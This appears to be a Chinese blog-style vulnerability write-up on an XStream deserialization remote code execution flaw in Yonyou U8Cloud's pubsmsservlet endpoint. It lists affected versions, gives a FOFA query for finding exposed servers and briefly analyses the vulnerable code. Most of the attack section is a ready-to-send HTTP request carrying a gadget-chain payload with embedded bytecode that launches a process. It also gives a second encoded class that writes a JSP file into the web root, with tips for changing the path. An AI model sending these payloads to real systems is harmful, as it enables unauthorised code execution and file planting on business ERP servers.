漏洞简介
用友 U8Cloud 是用友网络科技股份有限公司推出的新一代云ERP解决方案，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案。U8Cloud所有版本提供的pubsmsservlet接口，服务端对接收的数据进行反序列化操作时未对数据进行有效的校验，导致攻击者可发送精心构造的恶意序列化对象，在服务端执行任意代码。
影响版本
用友U8Cloud V2.0版本
用友U8Cloud V2.1版本
用友U8Cloud V2.3版本
用友U8Cloud V2.5版本
用友U8Cloud V2.6版本
用友U8Cloud V2.7版本
用友U8Cloud V2.65版本
用友U8Cloud V3.0版本
用友U8Cloud V3.1版本
用友U8Cloud V3.2版本
用友U8Cloud V3.5版本
用友U8Cloud V3.6版本
用友U8Cloud V3.6sp版本
用友U8Cloud V5.0版本
用友U8Cloud V5.0sp版本
用友U8Cloud V5.1版本
用友U8Cloud V5.1sp版本
fofa语法
app="用友-U8-Cloud"
漏洞分析
根据官网漏洞通告
可知漏洞点在pubsmsservlet接口，那就利用之前的方法，找一下这个接口在那个jar包里，最终在
pubuapplatform.jar 找到了pubsmsservlet的实现方法
关键点在下面的Object pubmsg = xs.fromXML(xmlString); 直接反序列化request.getInputStream();的内容，因此就造成了XStream反序列化代码执行漏洞了。
漏洞复现
POST /service/pubsmsservlet HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded
<org.apache.commons.collections4.bag.TreeBag serialization="custom">
<unserializable-parents>
<size>2</size>
</unserializable-parents>
<org.apache.commons.collections4.bag.TreeBag>
<default/>
<org.apache.commons.collections4.comparators.TransformingComparator>
<decorated class="org.apache.commons.collections4.comparators.ComparableComparator"/>
<transformer class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InstantiateTransformer>
<iParamTypes>
<java-class>javax.xml.transform.Templates</java-class>
</iParamTypes>
<iArgs>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>a</__name>
<__bytecodes>
<byte-array>yv66vgAAADQAGQEAAWkHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAKAAsKAAkADAEACGNhbGMuZXhlCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEABmkuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</iArgs>
</org.apache.commons.collections4.functors.InstantiateTransformer>
</iTransformers>
</transformer>
</org.apache.commons.collections4.comparators.TransformingComparator>
<int>1</int>
<int>1</int>
<int>2</int>
</org.apache.commons.collections4.bag.TreeBag>
</org.apache.commons.collections4.bag.TreeBag>这里弹个计算器吧，证明下吧!
当然，写文件也是可以的，如下payload会在C:\U8CERP\webapps\u8c_web\mx.jsp 写入文件，可自行修改
yv66vgAAADQARAoADQAyCAAzCAA0BwA1CgAEADYHADcKAAYAOAoABgA5CgAGADoKAAQAOgcAOwcAPAcAPQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTHB1YnNtc3NlcnZsZXRfZXhwOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwA+AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAIPGNsaW5pdD4BAAhmaWxlUGF0aAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAC2ZpbGVDb250ZW50AQAKZmlsZVdyaXRlcgEAFExqYXZhL2lvL0ZpbGVXcml0ZXI7AQALcHJpbnRXcml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAA1TdGFja01hcFRhYmxlBwA7AQAKU291cmNlRmlsZQEAFnB1YnNtc3NlcnZsZXRfZXhwLmphdmEMAA4ADwEAIEM6XFU4Q0VSUFx3ZWJhcHBzXHU4Y193ZWJcbXguanNwAQCFPCVvdXQucHJpbnRsbihqYXZhLnV0aWwuVVVJRC5yYW5kb21VVUlEKCkudG9TdHJpbmcoKSk7bmV3IGphdmEuaW8uRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKCkpKS5kZWxldGUoKTslPgEAEmphdmEvaW8vRmlsZVdyaXRlcgwADgA/AQATamF2YS9pby9QcmludFdyaXRlcgwADgBADABBAEIMAEMADwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFwdWJzbXNzZXJ2bGV0X2V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABYoTGphdmEvbGFuZy9TdHJpbmc7WilWAQATKExqYXZhL2lvL1dyaXRlcjspVgEABXByaW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFY2xvc2UAIQAMAA0AAAAAAAUAAQAOAA8AAQAQAAAALwABAAEAAAAFKrcAAbEAAAACABEAAAAGAAEAAAAJABIAAAAMAAEAAAAFABMAFAAAAAEAFQAWAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAjABIAAAAgAAMAAAABABMAFAAAAAAAAQAXABgAAQAAAAEAGQAaAAIAGwAAAAQAAQAcAAEAFQAdAAIAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAoABIAAAAqAAQAAAABABMAFAAAAAAAAQAXABgAAQAAAAEAHgAfAAIAAAABACAAIQADABsAAAAEAAEAHAAJACIAIwABABAAAAArAAAAAQAAAAGxAAAAAgARAAAABgABAAAALQASAAAADAABAAAAAQAkACUAAAAIACYADwABABAAAACsAAQABAAAACsSAksSA0y7AARZKgO3AAVNuwAGWSy3AAdOLSu2AAgttgAJLLYACqcABEuxAAEAAAAmACkACwADABEAAAAqAAoAAAAOAAMADwAGABMAEAAUABkAFQAeABYAIgAXACYAHAApABkAKgAdABIAAAAqAAQAAwAjACcAKAAAAAYAIAApACgAAQAQABYAKgArAAIAGQANACwALQADAC4AAAAHAAJpBwAvAAABADAAAAACADE=写入D盘的目录只需将EM6改为EQ6即可
访问写入文件,成功执行代码
也可以使用Java chains如下链来生成命令执行回显等探测
关键点是调用 jacksontostring链子来进行利用。
